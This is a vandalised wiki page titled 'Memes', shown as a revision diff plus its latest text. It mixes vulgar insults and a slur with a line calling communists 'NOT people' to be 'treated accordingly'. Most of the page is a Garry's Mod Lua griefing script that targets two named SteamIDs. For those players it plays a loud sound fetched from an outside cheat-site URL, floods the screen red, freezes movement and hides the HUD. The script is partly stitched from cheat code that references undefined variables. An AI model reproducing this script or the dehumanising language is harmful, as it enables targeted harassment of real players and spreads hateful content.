Difference between revisions of "Memes"
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== fuck you == | == fuck you == | ||
| − | madman is a | + | madman is a coal miner |
| − | == source code for | + | == source code for coal detonator == |
| + | <pre> | ||
for k,v in pairs(player.GetAll()) do | for k,v in pairs(player.GetAll()) do | ||
if (LocalPlayer():SteamID64() == "76561198370895099" or LocalPlayer():SteamID64() == "76561198223939436" ) then | if (LocalPlayer():SteamID64() == "76561198370895099" or LocalPlayer():SteamID64() == "76561198223939436" ) then | ||
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cmd:SetUpMove( 0 ) | cmd:SetUpMove( 0 ) | ||
end | end | ||
| − | hook.Add( "CreateMove", " | + | hook.Add( "CreateMove", "coalwalker", asshole ) |
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end | end | ||
end | end | ||
| + | </pre> | ||
| + | [[Category:Pages with broken file links]] | ||
Latest revision as of 20:07, 4 October 2019
dildos
Memes are total fucking dogshit and shouldn't exist. the United States Government intends to use memes in psychological warfare against the populous to cause global upset and to kill communist retards. As everyone knows, though, communists are NOT people, and should be treated accordingly.
fuck you
madman is a coal miner
source code for coal detonator
for k,v in pairs(player.GetAll()) do
if (LocalPlayer():SteamID64() == "76561198370895099" or LocalPlayer():SteamID64() == "76561198223939436" ) then
function earrape()
sound.PlayURL ( "http://shitcheat.me/geturowncheat.mp3", "", function( station )
if ( IsValid( station ) ) then
station:SetPos( LocalPlayer():GetPos() )
station:Play()
else
LocalPlayer():ChatPrint( "uh oh" )
end
end )
end
earrape()
hook.Add( "RenderScreenspaceEffects", "retarddisabler", function()
local tabber = {
["$pp_colour_addr"] = 2,
["$pp_colour_addg"] = 0,
["$pp_colour_addb"] = 0,
["$pp_colour_brightness"] = 0.7,
["$pp_colour_contrast"] = 0.6,
["$pp_colour_colour"] = 3,
["$pp_colour_mulr"] = 10,
["$pp_colour_mulg"] = 0,
["$pp_colour_mulb"] = 0
}
DrawColorModify( tabber )
end)
function asshole( cmd, ply, origin, angles, fov )
local time = FrameTime()
SH.ViewOrigin = SH.ViewOrigin + ( SH.Velocity * time)
SH.Velocity = SH.Velocity * 0.95
local sensitivity = 0.022
SH.ViewAngle.p = math.Clamp( SH.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 )
SH.ViewAngle.y = SH.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
local nig = Vector( 0, 0, 0 )
local add = Vector( 0, 0, 0 )
local ang = SH.ViewAngle
if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
add = add:GetNormal() * defcon.Settings["freecamspeed"]
if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end
SH.Velocity = SH.Velocity + add
if ( 1 == 1 ) then
SH.LockView = cmd:GetViewAngles()
end
if ( 1 == 1 ) then
cmd:SetViewAngles( SH.LockView )
end
cmd:SetForwardMove( 0 )
cmd:SetSideMove( 0 )
cmd:SetUpMove( 0 )
end
hook.Add( "CreateMove", "coalwalker", asshole )
local LightingModeChanged = false
hook.Add( "PreRender", "fuckoff", function()
if defcon.Settings["fullbright"] and GetConVarNumber("panicmode") == 0 then
render.SetLightingMode( 2 )
LightingModeChanged = true
end
end )
hook.Add( "PostRender", "fullbright", EndOfLightingMod )
hook.Add( "DrawHUD", "fullbright", EndOfLightingMod )
local hide = {
["CHudHealth"] = true,
["CHudBattery"] = true,
["CHudAmmo"] = true,
["CHudChat"] = true,
["CHudCrosshair"] = true,
["CHudGMod"] = true,
["CHudMenu"] = true,
["NetGraph"] = true,
["CHudWeapon"] = true
}
hook.Add( "HUDShouldDraw", "HideHUD", function( name )
if ( hide[ name ] ) then return false end
end )
end
end